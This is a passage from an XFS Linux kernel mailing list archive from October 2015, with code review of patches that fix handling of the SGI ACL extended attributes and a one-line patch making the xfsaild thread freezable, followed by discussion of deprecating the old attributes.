The code mostly looks Ok to me, but this whole thing still makes me cringe a bit.. :/ A few comments... > Signed-off-by: Andreas Gruenbacher > --- > fs/xfs/xfs_acl.c | 76 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_acl.h | 3 +++ > fs/xfs/xfs_xattr.c | 4 ++- > 3 files changed, 82 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c > index 763e365..0eea7ee 100644 > --- a/fs/xfs/xfs_acl.c > +++ b/fs/xfs/xfs_acl.c > @@ -305,3 +305,79 @@ xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) > set_acl: > return __xfs_set_acl(inode, type, acl); > } > + > +static int > +xfs_xattr_acl_get(struct dentry *dentry, const char *name, > + void *value, size_t size, int type) > +{ I'm not a huge fan of using the 'type' name here, personally. I'd call it xflags to be consistent with the other xattr handlers and add a brief comment for both of these functions that explain we're hooking up into the ACL interface from a layer below. > + struct inode *inode = d_inode(dentry); > + struct posix_acl *acl; > + int error; > + > + if (S_ISLNK(inode->i_mode)) > + return -EOPNOTSUPP; > + > + acl = get_acl(inode, type); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > + if (acl == NULL) > + return -ENODATA; > + > + error = XFS_ACL_SIZE(acl->a_count); > + if (value) { > + if (error > size) > + error = -ERANGE; > + else > + xfs_acl_to_disk(value, acl); > + } > + > + posix_acl_release(acl); > + return error; With regard to the xattr_acl get function, why do we need to do anything differently here from xfs_xattr_get()? Here we get the ACL, convert to in-core format, then convert back to disk format into the buffer. I don't think we need the extra validation in this scenario. In fact, I'd expect this to return whatever might be on-disk from an older kernel, etc. Can we just use xfs_xattr_get() for this case? Note that implies we probably kill the abuse of xflags as well. If that's a problem for the set case, just fixing up the flags and calling xfs_xattr_get() from here might be another option. > +} > + > +static int > +xfs_xattr_acl_set(struct dentry *dentry, const char *name, > + const void *value, size_t size, int flags, int type) > +{ > + struct inode *inode = d_inode(dentry); > + struct xfs_inode *ip = XFS_I(inode); > + struct posix_acl *acl = NULL; > + int error; > + > + if (!inode->i_op->set_acl) > + return -EOPNOTSUPP; > + > + if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) > + return value ? -EACCES : 0; > + FWIW, this appears to be the only use of type here and it's already handled down in the set_acl() path, so probably not necessary. > + if (value) { > + acl = xfs_acl_from_disk(value, size, XFS_ACL_MAX_ENTRIES(ip->i_mount)); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > + A comment around the validation here wouldn't hurt. E.g., /* * Data is expected in on-disk format. Therefore we convert to the * in-core ACL structures and validate as if this were set_acl(). */ > + if (acl) { > + error = posix_acl_valid(acl); > + if (error) > + goto out; > + } > + } > + > + error = inode->i_op->set_acl(inode, acl, type); > +out: > + posix_acl_release(acl); > + return error; > +} > + > +const struct xattr_handler xfs_xattr_sgi_acl_file = { > + .prefix = XATTR_TRUSTED_PREFIX SGI_ACL_FILE, > + .flags = ACL_TYPE_ACCESS, > + .get = xfs_xattr_acl_get, > + .set = xfs_xattr_acl_set, > +}; > + > +const struct xattr_handler xfs_xattr_sgi_acl_default = { > + .prefix = XATTR_TRUSTED_PREFIX SGI_ACL_DEFAULT, > + .flags = ACL_TYPE_DEFAULT, > + .get = xfs_xattr_acl_get, > + .set = xfs_xattr_acl_set, > +}; These should probably be in xfs_xattr.c with all of the other xattr_handler definitions. We can kill the subsequent xfs_acl.h header declarations (or replace them with the function declarations, at least) as well. In fact on further thought, all of this should probably just end up in xfs_xattr.c since these are technically xattr handlers. Finally, another random thought... another way to approach this whole thing might be just to redirect the SGI_FILE_* xattr calls to the system.posix_acl_* calls. The SGI_FILE_* xattr data changes along with the required conversions and whatnot, but then at least we expose data in a more generic format. Isn't it the case that ACLs are generally set via xattr calls, presumably in some specially defined format? This also might get around the need for most of the bits in the subsequent patches.. Brian > diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h > index 3841b07..461dea6 100644 > --- a/fs/xfs/xfs_acl.h > +++ b/fs/xfs/xfs_acl.h > @@ -27,6 +27,9 @@ extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); > extern int xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); > extern int posix_acl_access_exists(struct inode *inode); > extern int posix_acl_default_exists(struct inode *inode); > + > +extern const struct xattr_handler xfs_xattr_sgi_acl_file; > +extern const struct xattr_handler xfs_xattr_sgi_acl_default; > #else > static inline struct posix_acl *xfs_get_acl(struct inode *inode, int type) > { > diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c > index c0368151..7534cb5 100644 > --- a/fs/xfs/xfs_xattr.c > +++ b/fs/xfs/xfs_xattr.c > @@ -97,12 +97,14 @@ static const struct xattr_handler xfs_xattr_security_handler = { > > const struct xattr_handler *xfs_xattr_handlers[] = { > &xfs_xattr_user_handler, > - &xfs_xattr_trusted_handler, > &xfs_xattr_security_handler, > #ifdef CONFIG_XFS_POSIX_ACL > &posix_acl_access_xattr_handler, > &posix_acl_default_xattr_handler, > + &xfs_xattr_sgi_acl_file, > + &xfs_xattr_sgi_acl_default, > #endif > + &xfs_xattr_trusted_handler, > NULL > }; > > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Mon Oct 26 09:02:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 404937F7E for ; Mon, 26 Oct 2015 09:02:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A63D6AC005 for ; Mon, 26 Oct 2015 07:02:11 -0700 (PDT) X-ASG-Debug-ID: 1445868130-04cb6c7b8583470001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XQ0siHzN2fqm1KTi (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 26 Oct 2015 07:02:10 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D3B3EC0A1603 for ; Mon, 26 Oct 2015 14:02:09 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9QE29Mk014526; Mon, 26 Oct 2015 10:02:09 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4C9C81201AB; Mon, 26 Oct 2015 10:02:08 -0400 (EDT) Date: Mon, 26 Oct 2015 10:02:08 -0400 From: Brian Foster To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/4] xfs: SGI ACL Fixes Message-ID: <20151026140207.GC59738@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 0/4] xfs: SGI ACL Fixes References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> <1445721369-25679-1-git-send-email-agruenba@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445721369-25679-1-git-send-email-agruenba@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445868130 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, Oct 24, 2015 at 11:16:05PM +0200, Andreas Gruenbacher wrote: > Here are some fixes for the trusted.SGI_ACL_* attributes. This adds some > more warts and it would be much better to get rid of those unnecessary > attributes instead; we probably can't though. > > I have tested this manually but haven't run xfstests against that. Please > review. > Thanks... I sent some comments on the core patch. Those aside, I'd still like to see some other opinions on the best way to handle this. I'd suggest we get some agreement there before getting too far with this. The options seem to be: 1.) Hide the internal xattrs and disallow setting them. This is probably the most simple fix, but removes the entries after they had previously been exposed. 2.) Redirect the internal xattr handlers through the system.posix_acl_* handlers. This (presumably) simplifies the XFS implementation and eliminates duplicating some of the VFS acl bits in the fs. This preserves xattr existence but changes the exposed format to the generic ACL format. Therefore, it very well could be pointless in favor of option 1 or 3. 3.) Make the internal xattr handlers work correctly with the format as exposed today. This is what this series aims to do and requires some of the additional namespace quirkiness and whatnot by expecting XFS on-disk format data from userspace. Thoughts? Brian > Thanks, > Andreas > > Andreas Gruenbacher (4): > xfs: Validate the length of on-disk ACLs > xfs: SGI ACLs: Fix caching and mode setting > xfs: SGI ACLs: Map uid/gid namespaces > xfs: SGI ACLs: Prepare for richacls > > fs/xfs/libxfs/xfs_format.h | 8 +++- > fs/xfs/xfs_acl.c | 115 ++++++++++++++++++++++++++++++++++++++++----- > fs/xfs/xfs_acl.h | 3 ++ > fs/xfs/xfs_xattr.c | 9 ++-- > fs/xfs/xfs_xattr.h | 28 +++++++++++ > 5 files changed, 147 insertions(+), 16 deletions(-) > create mode 100644 fs/xfs/xfs_xattr.h > > -- > 2.5.0 > From bfoster@redhat.com Mon Oct 26 09:08:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DB0F47F3F for ; Mon, 26 Oct 2015 09:08:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3D219AC003 for ; Mon, 26 Oct 2015 07:08:51 -0700 (PDT) X-ASG-Debug-ID: 1445868529-04cb6c7b8683750001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BqqnY93yZHiwBiYX (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 26 Oct 2015 07:08:49 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id EA640C0AF7AE; Mon, 26 Oct 2015 14:08:48 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9QE8mmU022096; Mon, 26 Oct 2015 10:08:48 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 7B2DE1201AB; Mon, 26 Oct 2015 10:08:47 -0400 (EDT) Date: Mon, 26 Oct 2015 10:08:47 -0400 From: Brian Foster To: Jiri Kosina Cc: Dave Chinner , Christoph Hellwig , linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: clear PF_NOFREEZE for xfsaild kthread Message-ID: <20151026140847.GD59738@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: clear PF_NOFREEZE for xfsaild kthread References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445868529 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 26, 2015 at 03:53:40PM +0900, Jiri Kosina wrote: > From: Jiri Kosina > > Since xfsaild has been converted to kthread in 0030807c, it calls > try_to_freeze() during every AIL push iteration. It however doesn't set > itself as freezable, and therefore this try_to_freeze() will never do > anything. > > Before (hopefully eventually) kthread freezing gets converted to fileystem > freezing, we'd rather mark xfsaild freezable (as it can generate I/O > during suspend). > > Signed-off-by: Jiri Kosina > --- Looks fine to me: Reviewed-by: Brian Foster > fs/xfs/xfs_trans_ail.c | 1 + > 1 file changed, 1 insertion(+) > > diff --git a/fs/xfs/xfs_trans_ail.c b/fs/xfs/xfs_trans_ail.c > index 1098cf4..06d1a29 100644 > --- a/fs/xfs/xfs_trans_ail.c > +++ b/fs/xfs/xfs_trans_ail.c > @@ -497,6 +497,7 @@ xfsaild( > long tout = 0; /* milliseconds */ > > current->flags |= PF_MEMALLOC; > + set_freezable(); > > while (!kthread_should_stop()) { > if (tout && tout <= 20) > -- > Jiri Kosina > SUSE Labs > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From agruenba@redhat.com Mon Oct 26 10:39:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B8D787F47 for ; Mon, 26 Oct 2015 10:39:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 318C0AC001 for ; Mon, 26 Oct 2015 08:39:24 -0700 (PDT) X-ASG-Debug-ID: 1445873960-04cb6c7b86859e0001-NocioJ Received: from mail-lf0-f52.google.com (mail-lf0-f52.google.com [209.85.215.52]) by cuda.sgi.com with ESMTP id XLiddyd2UUGQg0pq (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 26 Oct 2015 08:39:21 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.52 Received: by lfbn126 with SMTP id n126so118405661lfb.2 for ; Mon, 26 Oct 2015 08:39:20 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=F+gM+T8qpI+vpBmH4hlgnzzBQmflUREaAkeg8DqoIpY=; b=Xok8so+fBKKyTadlO3D55f/4Z2mFiqbcHLCB8dlcjJZFn+cXyNFo0CZWXA9HNDJJLE AFNdD4AN34ZKaXXR+i5zHiPvPbIQ8hryfnbfp//NFRNkcBSuiPs18eP4/8LNHJBHXdZF zSniBAsba9snfC+50e0Z0SuY0cCXfpTBoGzd4snO0UXdIfj+5Hu8lA8+e1ghr/PGH8/E 4wZ3q8S9EK93n2k2x3GERKD78a9bv6sZ0/cFJr+4W0oALQ1NuV3ysPXF/wQ1wQngbF8u 8NmERM1l/GvOp9o3pO7FgM+czK2FIXF2imj96JvYR3HoGNpR7LaINuB4txacv0OQOAoX C/iA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=F+gM+T8qpI+vpBmH4hlgnzzBQmflUREaAkeg8DqoIpY=; b=hhhCpTf5oLrr5cJ0/F04DA5akyH/8wj7VlYhcL4T+UVtbtgt2AKOm+MaurJAbxDAaP DxGCoc0SD6pBWi0bqIkFN5/N5/cKiynBYgWItJjb3PbDsFh9t7ww6PiGv0vJ586Rki6n RroI/pBlDSqRhp34OMjIC71xGWu5Am9ZOmG7lQ2vFnxY+7iIvIA8qcwv4XeSlKnhl3tK 70iaHbYr83CnXI/WcQhAXB+vDwl+cOOX3bw+t2sXx/StRrLX52sFFz0dCEmUykGn8kbo IdFuQK+zXZ/Rkam9LF2UGaQKvmg4T7K4SUxbREeb7A1eg1hpGGyPgjS12yK3Cog94f/B gRbg== X-Gm-Message-State: ALoCoQkBHBL/jUyF4+hlW1gCYswYerOnx1z2cczUJwKUB5R6b4pdARjKZkYgMhHVhYf54U1vpd1S MIME-Version: 1.0 X-Received: by 10.112.236.8 with SMTP id uq8mr17832025lbc.116.1445873960318; Mon, 26 Oct 2015 08:39:20 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Mon, 26 Oct 2015 08:39:20 -0700 (PDT) In-Reply-To: <20151026140202.GB59738@bfoster.bfoster> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-3-git-send-email-agruenba@redhat.com> <20151026140202.GB59738@bfoster.bfoster> Date: Mon, 26 Oct 2015 16:39:20 +0100 Message-ID: Subject: Re: [PATCH 2/4] xfs: SGI ACLs: Fix caching and mode setting From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs: SGI ACLs: Fix caching and mode setting To: Brian Foster Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f52.google.com[209.85.215.52] X-Barracuda-Start-Time: 1445873961 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23828 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain On Mon, Oct 26, 2015 at 3:02 PM, Brian Foster wrote: > Finally, another random thought... another way to approach this whole > thing might be just to redirect the SGI_FILE_* xattr calls to the > system.posix_acl_* calls. You mean silently changing the binary format of those attributes? That's the worst thing we could possibly do. > The SGI_FILE_* xattr data changes along with the required conversions > and whatnot, but then at least we expose data in a more generic format. I really doubt that we can get rid of those attributes. The patches in this queue don't "change" the format of those attributes, they only fix them for use in UID/GID namespaces where they are currently broken. Validation when setting those xattrs could be removed, allowing sysadmins to set acls which the kernel and xfs_repair would reject; it seems rather pointless though. Thanks, Andreas From bfoster@redhat.com Mon Oct 26 14:00:52 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AEA317F37 for ; Mon, 26 Oct 2015 14:00:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3FED2AC002 for ; Mon, 26 Oct 2015 12:00:49 -0700 (PDT) X-ASG-Debug-ID: 1445886047-04bdf03309a0a90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id A1WqIEHuFKF6Qi83 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 26 Oct 2015 12:00:48 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id B03368E362 for ; Mon, 26 Oct 2015 19:00:47 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9QJ0lwm022945; Mon, 26 Oct 2015 15:00:47 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id E8D601201AB; Mon, 26 Oct 2015 15:00:45 -0400 (EDT) Date: Mon, 26 Oct 2015 15:00:45 -0400 From: Brian Foster To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/4] xfs: SGI ACLs: Fix caching and mode setting Message-ID: <20151026190045.GE59738@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs: SGI ACLs: Fix caching and mode setting References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-3-git-send-email-agruenba@redhat.com> <20151026140202.GB59738@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445886048 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 26, 2015 at 04:39:20PM +0100, Andreas Gruenbacher wrote: > On Mon, Oct 26, 2015 at 3:02 PM, Brian Foster wrote: > > Finally, another random thought... another way to approach this whole > > thing might be just to redirect the SGI_FILE_* xattr calls to the > > system.posix_acl_* calls. > > You mean silently changing the binary format of those attributes? > That's the worst thing we could possibly do. > It would change an implicit error/failure to an explicit one. Regardless, I realized this particular approach is kind of pointless anyways (as noted in my other mail). Note that I'm not necessarily against what we're doing here, it might very well be required. I'm just trying to step back and understand the big picture before we go and put a band-aid on the immediate problem and call it solved. To me, the ideal overall situation is that this attribute is hidden and anybody that cares about ACLs can get/set them through the appropriate ACL interface (the system.posix_acl_* xattrs). The question is whether we can get anywhere close to that without breaking things. > > The SGI_FILE_* xattr data changes along with the required conversions > > and whatnot, but then at least we expose data in a more generic format. > > I really doubt that we can get rid of those attributes. > The problem seems to boil down to the fact that the by-handle operations (ATTRLIST_BY_HANDLE) don't include the system.posix_acl_* attributes, and thus these aren't tracked by applications that use that interface (such as xfsdump). I was hoping that whatever might have looked at the SGI_ACL_* attrs would also have seen the posix_acl_* attr and thus we could potentially get away with something like ignoring SGI_ACL_ operations (rather than failing them) without losing any information, but that does not appear to be the case. It still might be worth considering drawing a line in the sand (for example, v5 filesystems or later) to deprecate the SGI_ACL_* xattrs. For example: - Fix the by-handle ATTR mechanisms to include the system.posix_acl_* xattrs. - Hide the SGI_ACL_* xattrs from xattr lists. - Add the SGI_ACL_* setxattr() validation as we're doing here for backwards compatibility, but include a deprecation log message warning in favor of using the above. - At some point in the future, disallow the ability to get/set the SGI_ACL_* xattrs. This also assumes there isn't some other reason we have SGI_ACL_* exposed that I'm not aware of, which could certainly be the case. Brian > The patches in this queue don't "change" the format of those > attributes, they only fix them for use in UID/GID namespaces where > they are currently broken. Validation when setting those xattrs could > be removed, allowing sysadmins to set acls which the kernel and > xfs_repair would reject; it seems rather pointless though. > > Thanks, > Andreas From agruenba@redhat.com Mon Oct 26 15:15:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6BBF67F37 for ; Mon, 26 Oct 2015 15:15:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4823B304039 for ; Mon, 26 Oct 2015 13:15:55 -0700 (PDT) X-ASG-Debug-ID: 1445890551-04cb6c7b858c140001-NocioJ Received: from mail-lb0-f172.google.com (mail-lb0-f172.google.com [209.85.217.172]) by cuda.sgi.com with ESMTP id dsx1XdLP8vFC4s5G (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 26 Oct 2015 13:15:52 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.172 Received: by lbbwb3 with SMTP id wb3so48915230lbb.1 for ; Mon, 26 Oct 2015 13:15:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=ZiAFxDWwRYRyBebX5HOnCpZzTcr+f45JV/R23VqTRFA=; b=cv11aHf8SvDzWA+8KDtpQDl9gjxX9KnwilB6S8pnNm+DnYj8pokvVLrNqjQRAIlJpJ 1ALNrWZlld+8qU5fMB6viqcQ8GaVBEhsWtCOaBTdoB5M1xSEAdnONlRiBL/YRZaHJnjy grg8u7nDEz7RlGl9Sb8gb4Mu0yrkopXH4oCRxY7R+XFeM/QGd8UTUI3AtsGuYfyFMVC1 PDq0O50eoVmm5TPx65BxT3zVUIa37QeL7fNZv9HLLjJWaAAy86ul3jL+KDiNkc2w2HO/ erS2AA7+x3BNst/jLnaHK11yu7MBrZW9OnevgfwUb0glccRdweMqsbyHEYtm7Plv30J8 H2nw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=ZiAFxDWwRYRyBebX5HOnCpZzTcr+f45JV/R23VqTRFA=; b=hrX/04jGn9yxwOGbnTCF3py4d9IMmx33qP6w/ihyzBVv7j8jW8GcD22JPPdjPDBA2E w4P+S0/BPzLaV6dRvqWonBTbgY8n9tYvMhdjaxYX2ZFudpkw1LMutNPqy2AyXpwUMg92 NbTKKsr/QPyYm3LyHfynDb33kYoXGJPNpcFjLOypTxmb5VvuaCFUljgCHm9HpuCDKbI2 I+u7ZNUW7OiQfbE6s03v9WPhZFwBzvvznY8UIUxYF59NEgYsj6iEG9kerse70JyodtNw 9MV0ZEmtQY4dV/6KrVUx6DoelDiVwlipzNAlvFqpyjsXkKK9jZFVxsFAuqwIffaejRuU domQ== X-Gm-Message-State: ALoCoQlByqbIDEPUcp6eofWjiCDbJ/W2X/Wo8sZb1pt3Fi5Tiu0N7egEZMnNbhXyJxOC+8bfQ/kz MIME-Version: 1.0 X-Received: by 10.112.205.194 with SMTP id li2mr9856025lbc.75.1445890551393; Mon, 26 Oct 2015 13:15:51 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Mon, 26 Oct 2015 13:15:51 -0700 (PDT) In-Reply-To: <1445721369-25679-5-git-send-email-agruenba@redhat.com> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-5-git-send-email-agruenba@redhat.com> Date: Mon, 26 Oct 2015 21:15:51 +0100 Message-ID: Subject: Re: [PATCH 4/4] xfs: SGI ACLs: Prepare for richacls From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH 4/4] xfs: SGI ACLs: Prepare for richacls To: Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f172.google.com[209.85.217.172] X-Barracuda-Start-Time: 1445890552 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23837 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain On Sat, Oct 24, 2015 at 11:16 PM, Andreas Gruenbacher wrote: > In case an inode has 